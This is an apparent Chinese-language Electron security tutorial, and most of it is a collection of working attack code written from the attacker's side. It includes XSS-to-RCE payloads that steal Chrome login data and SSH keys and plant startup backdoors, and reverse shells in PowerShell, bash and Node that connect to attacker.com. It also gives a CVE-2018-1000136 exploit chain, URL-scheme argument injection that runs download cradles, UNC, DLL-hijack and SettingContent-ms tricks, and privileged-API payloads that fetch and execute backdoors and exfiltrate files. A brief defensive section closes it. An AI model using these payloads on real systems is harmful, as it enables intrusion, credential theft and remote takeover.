Electron客户端漏洞学习与研究
一、前言
Electron是一个基于Chromium和Node.js的跨平台桌面应用开发框架,允许开发者使用HTML、CSS和JavaScript等Web技术构建桌面应用。由于其开发便捷性和跨平台特性,被广泛应用于知名应用中,如VSCode、Slack、Discord、Atom等。
Electron应用结合了Web技术的灵活性和桌面权限的强大,这为攻击者提供了独特的攻击面。一旦找到突破口,攻击者可以从简单的XSS升级为完全的系统控制。
二、Electron架构与攻击面分析
2.1 多进程架构
Electron采用多进程架构,理解这一架构是发现漏洞的基础:
- 主进程(Main Process):运行在Node.js环境中,拥有完整的系统访问权限,可以执行任意系统命令、访问文件系统
- 渲染进程(Renderer Process):运行在Chromium环境中,负责页面渲染,权限受限
- 预加载脚本(Preload Script):在渲染进程加载页面前执行,是连接主进程和渲染进程的桥梁
2.2 攻击面识别
从攻击者角度,主要的攻击向量包括:
- XSS注入点 - 渲染进程中的任何用户可控输入
- IPC通信通道 - 渲染进程与主进程的消息传递
- URL Scheme - 自定义协议处理
- 特权API - 预加载脚本暴露的高权限接口
- 远程内容加载 - 应用加载的外部网页
- 文件处理 - 本地文件读取和解析
- 更新机制 - 应用自动更新流程
2.3 关键安全配置
从攻击者角度,需要重点关注这些配置项:
webPreferences: {
nodeIntegration: true/false, // 关键:能否直接使用Node.js
contextIsolation: true/false, // 关键:上下文是否隔离
webSecurity: true/false, // 是否有同源策略限制
sandbox: true/false, // 是否启用沙箱
enableRemoteModule: true/false, // 是否可使用remote模块
preload: 'path/to/preload.js' // 预加载脚本路径
}
最理想的攻击目标配置:
nodeIntegration: true,
contextIsolation: false,
webSecurity: false
三、漏洞类型与利用技术
3.1 XSS to RCE(跨站脚本到远程代码执行)
这是Electron应用中最经典的攻击链。
3.1.1 攻击条件
完美条件(直接RCE):
- 存在XSS注入点
- nodeIntegration: true
- contextIsolation: false
次优条件(需要绕过):
- 存在XSS注入点
- nodeIntegration: false 但可以绕过
- 或存在可利用的特权API
3.1.2 直接利用
当配置不当时,可以直接执行Node.js代码:
// 基础命令执行
require('child_process').exec('calc.exe')
// Windows系统信息收集
require('child_process').exec('systeminfo', (e, stdout) => {
fetch('http://attacker.com/collect', {
method: 'POST',
body: stdout
})
})
// 读取敏感文件
const fs = require('fs')
const path = require('path')
// 读取Chrome密码
const chromeData = fs.readFileSync(
path.join(process.env.LOCALAPPDATA,'Google/Chrome/User Data/Default/Login Data'))
// 读取SSH密钥
const sshKey = fs.readFileSync(
path.join(process.env.USERPROFILE, '.ssh/id_rsa'),'utf8')
// 植入持久化后门
const startup = path.join(
process.env.APPDATA,'Microsoft/Windows/Start Menu/Programs/Startup/backdoor.vbs')
fs.writeFileSync(startup, maliciousVBS)
3.1.3 反弹Shell
// Windows反弹Shell
const { exec } = require('child_process')
exec('powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'attacker.com\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"')
// Linux/Mac反弹Shell
exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
// 使用Node.js原生实现
const net = require('net')
const { spawn } = require('child_process')
const client = new net.Socket()
client.connect(4444, 'attacker.com', () => {
const sh = spawn('/bin/bash', [])
client.pipe(sh.stdin)
sh.stdout.pipe(client)
sh.stderr.pipe(client)
})
3.2 原型链污染攻击
即使不能直接使用require,也可以通过污染原型链来影响模块行为。
3.2.1 污染内置对象
// 修改正则表达式行为
RegExp.prototype.test = function() {
return false // 让所有正则匹配失败
}
// 修改数组方法
Array.prototype.join = function() {
return "calc.exe" // 返回恶意命令
}
// 修改JSON解析
const originalParse = JSON.parse
JSON.parse = function(str) {
const obj = originalParse(str)
// 注入恶意属性
obj.__proto__.isAdmin = true
return obj
}
3.2.2 利用被污染的原型
// 应用代码中的漏洞利用
const { exec } = require('child_process')
// 应用原本想执行安全命令
let commands = ['echo', 'hello', 'world']
exec(commands.join(' ')) // 实际执行:calc.exe
// 或者污染Object.prototype
Object.prototype.admin = true
// 应用代码检查权限
if (userObj.admin) {
// 执行管理员操作
executeAdminCommand()
}
3.3 CVE-2018-1000136:nodeIntegration绕过
这是一个影响所有早期Electron版本的严重漏洞,即使禁用了nodeIntegration,仍可重新开启。
3.3.1 漏洞原理
漏洞源于window.open()的特性处理机制:
- window.open()可以通过features参数设置新窗口选项
- 子窗口会继承父窗口的webPreferences
- 但存在验证缺陷,可以传递webviewTag: yes
- 然后在新窗口中创建带有nodeIntegration的webview
3.3.2 完整利用链
<script>
// 第一步:打开新窗口并启用webviewTag
var w = window.open('about:blank', '', 'webviewTag=yes,show=no')
// 第二步:在新窗口中注入恶意代码
w.eval(`
// 创建webview标签
var webview = new WebView()
// 设置危险配置
webview.setAttribute('webpreferences',
'webSecurity=no, nodeIntegration=yes')
// 加载恶意页面(base64编码)
webview.src = 'data:text/html;base64,' + btoa(\`
<script>
// 现在拥有Node.js权限
const { exec } = require('child_process')
// 信息收集
exec('whoami', (e, stdout) => {
console.log('Current user:', stdout)
})
// 下载并执行Payload
exec('powershell -c "IEX(New-Object Net.WebClient).DownloadString(\\'http://attacker.com/payload.ps1\\')"')
// 或直接执行命令
exec('calc.exe')
<\/script>
\`)
// 添加到DOM
document.body.appendChild(webview)
`)
</script>
3.4 URL Scheme参数注入
Electron应用注册的自定义协议是重要的攻击面。
3.4.1 发现已注册的Scheme
Windows注册表查询:
:: 列出所有注册的协议
reg query HKEY_CLASSES_ROOT /f "URL Protocol" /s
:: 查看特定协议
reg query HKEY_CLASSES_ROOT\myapp
脚本:
' duh4win.vbs - 自动发现URL Scheme
Set objShell = CreateObject("WScript.Shell")
Set objRegistry = GetObject("winmgmts://./root/default:StdRegProv")
' 枚举HKCR
objRegistry.EnumKey &H80000000, "", arrKeys
For Each key In arrKeys
On Error Resume Next
value = objShell.RegRead("HKCR\" & key & "\URL Protocol")
If Err.Number = 0 Then
WScript.Echo key & " - URL Protocol found"
End If
Err.Clear
Next
3.4.2 参数闭合攻击
注册表配置示例:
HKEY_CLASSES_ROOT\myapp\shell\open\command
(Default) = "C:\Program Files\MyApp\app.exe" "%1"
Payload:
<!-- 基础命令注入 -->
<a href='myapp://test" --renderer-cmd-prefix="calc.exe'>Click me</a>
<!-- 完整利用 -->
<a href='myapp://x" --renderer-cmd-prefix="powershell -c IEX(New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')'>
Update Available - Click to Install
</a>
<!-- 使用其他危险参数 -->
<a href='myapp://x" --gpu-launcher="cmd.exe /c start calc.exe'>Launch</a>
3.4.3 可利用的Chromium参数
// 命令执行相关
--renderer-cmd-prefix="<command>"
--gpu-launcher="<command>"
--utility-cmd-prefix="<command>"
--ppapi-plugin-launcher="<command>"
// 文件读取/加载
--ppapi-flash-path="<path>"
--ppapi-flash-args="<args>"
// 调试相关
--remote-debugging-port=9222
--inspect=9229
// 禁用安全特性
--disable-web-security
--allow-file-access-from-files
--disable-site-isolation-trials
3.5 shell.openExternal深度利用
shell.openExternal()提供了多种攻击路径。
3.5.1 直接文件执行
// 如果可以控制参数
window.electronAPI.openUrl('file:///C:/Windows/System32/cmd.exe')
// 更隐蔽的方法
window.electronAPI.openUrl('file:///C:/Windows/System32/calc.exe')
3.5.2 UNC路径远程加载
// 加载远程SMB共享上的文件
shell.openExternal('file://attacker.com/share/payload.exe')
// 加载Java应用(无警告)
shell.openExternal('file://attacker.com/share/malicious.jar')
// Python脚本执行(需要环境)
shell.openExternal('file://attacker.com/share/backdoor.py')
3.5.3 .url文件利用
创建恶意的.url文件:
; malicious.url
[InternetShortcut]
URL=file:///C:/Windows/System32/cmd.exe
WorkingDirectory=C:\
IconIndex=0
触发执行:
shell.openExternal('file://attacker.com/share/malicious.url')
3.5.4 DLL劫持组合攻击
攻击步骤:
- 寻找存在DLL劫持的系统程序
# 查找缺少DLL的程序
Get-ChildItem C:\Windows\WinSxS -Recurse | Where-Object {$_.Name -like "*.exe"}
- 创建.url文件
[InternetShortcut]
URL=file:///C:/Windows/WinSxS/amd64_netfx-mscorsvw_exe_xxx/mscorsvw.exe
WorkingDirectory=\\attacker.com\share\
- 在SMB共享放置恶意DLL
\\attacker.com\share\mscorsvc.dll (恶意DLL)
- 触发执行
shell.openExternal('file://attacker.com/share/trigger.url')
- 目标程序加载恶意DLL,无任何警告
3.5.5 绕过ADS标记
ADS(Alternate Data Stream)是Windows的文件信任标记机制。绕过方法:
// 方法1:从可信域下载
// 将攻击服务器加入受信任站点或本地Intranet
// 方法2:通过PowerShell下载(不产生ADS)
const { exec } = require('child_process')
exec(`powershell -c "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://attacker.com/payload.exe', 'C:\\Temp\\payload.exe')"`)
// 方法3:压缩包方式
// 将payload放入zip,用户解压后无ADS标记
// 方法4:手动移除ADS
exec('powershell -c "Unblock-File C:\\Temp\\payload.exe"')
3.6 SettingContent-ms利用(CVE-2018-8414)
Windows 10特有的攻击向量,已修补但在未打补丁系统上仍可用。
3.6.1 创建恶意文件
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<!-- 执行命令 -->
<DeepLink>cmd.exe /c powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"</DeepLink>
<!-- 或使用mshta -->
<DeepLink>mshta http://attacker.com/payload.hta</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>System Settings</Description>
<Keywords>Settings</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
3.6.2 通过Electron触发
shell.openExternal('file://attacker.com/share/settings.SettingContent-ms')
3.6.3 配置文件关联(提升利用)
在已获取权限的系统上:
:: 修改文件关联
ASSOC .SettingContent-ms=CustomHandler
FTYPE CustomHandler="C:\Tools\scmwrap.exe" "%1"
scmwrap.exe实现:
// 解析并执行DeepLink
XmlDocument doc = new XmlDocument();
doc.Load(args[0]);
XmlNodeList nodes = doc.GetElementsByTagName("DeepLink");
foreach (XmlNode node in nodes) {
ShellExecute(0, "open", "cmd.exe", "/C " + node.InnerText, "", 0);
}
3.7 特权域XSS利用
特权域中的XSS可以调用特权API,危害极大。
3.7.1 识别特权域
// 在渲染进程Console中测试
console.log(location.protocol) // file:// 或特定域名
// 列出可用的特权API
Object.keys(window).filter(k => !Window.prototype.hasOwnProperty(k))
// 测试Node.js访问
typeof require !== 'undefined'
typeof process !== 'undefined'
3.7.2 特权API利用
假设预加载脚本暴露了不安全的API:
// 不安全的preload.js暴露
window.electronAPI = {
downloadFile: (url, path) => ipcRenderer.invoke('download', url, path),
executeFile: (path) => ipcRenderer.invoke('execute', path),
readFile: (path) => ipcRenderer.invoke('read', path)
}
利用Payload:
<script>
(async () => {
// 下载恶意文件
await window.electronAPI.downloadFile(
'http://attacker.com/backdoor.exe',
'C:\\ProgramData\\backdoor.exe'
)
// 执行
await window.electronAPI.executeFile('C:\\ProgramData\\backdoor.exe')
// 读取敏感信息
const secrets = await window.electronAPI.readFile(
'C:\\Users\\victim\\Documents\\passwords.txt'
)
// 外传数据
fetch('http://attacker.com/steal', {
method: 'POST',
body: secrets
})
})()
</script>
3.7.3 链式攻击 - DLL劫持
// 假设只能下载和启动更新程序
<script>
(async () => {
// 1. 下载恶意DLL到应用目录
await window.electronAPI.downloadFile(
'http://attacker.com/malicious.dll',
'C:\\Program Files\\TargetApp\\malicious.dll'
)
// 2. 下载合法更新程序
await window.electronAPI.downloadFile(
'http://target.com/update.exe',
'C:\\Temp\\update.exe'
)
// 3. 启动更新程序(触发DLL劫持)
await window.electronAPI.executeFile('C:\\Temp\\update.exe')
})()
</script>
四、防御建议
4.1 安全配置最佳实践
// 推荐的安全配置
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
webSecurity: true,
sandbox: true,
enableRemoteModule: false,
preload: path.join(__dirname, 'preload.js')
}
4.2 输入验证和输出编码
对所有用户输入进行严格验证,对输出内容进行适当编码。
4.3 最小权限原则
预加载脚本只暴露必要的API,遵循最小权限原则。
4.4 定期安全更新
保持Electron框架和相关依赖的最新版本。
五、总结
Electron客户端安全是一个复杂而重要的领域。攻击者可以通过多种技术路径实现从简单的XSS到完整的系统控制。理解这些攻击技术不仅有助于攻击者进行渗透测试,也能帮助开发者构建更安全的应用程序。
防御Electron应用的安全威胁需要从架构设计、配置管理、代码实现等多个层面进行综合考虑,实施纵深防御策略。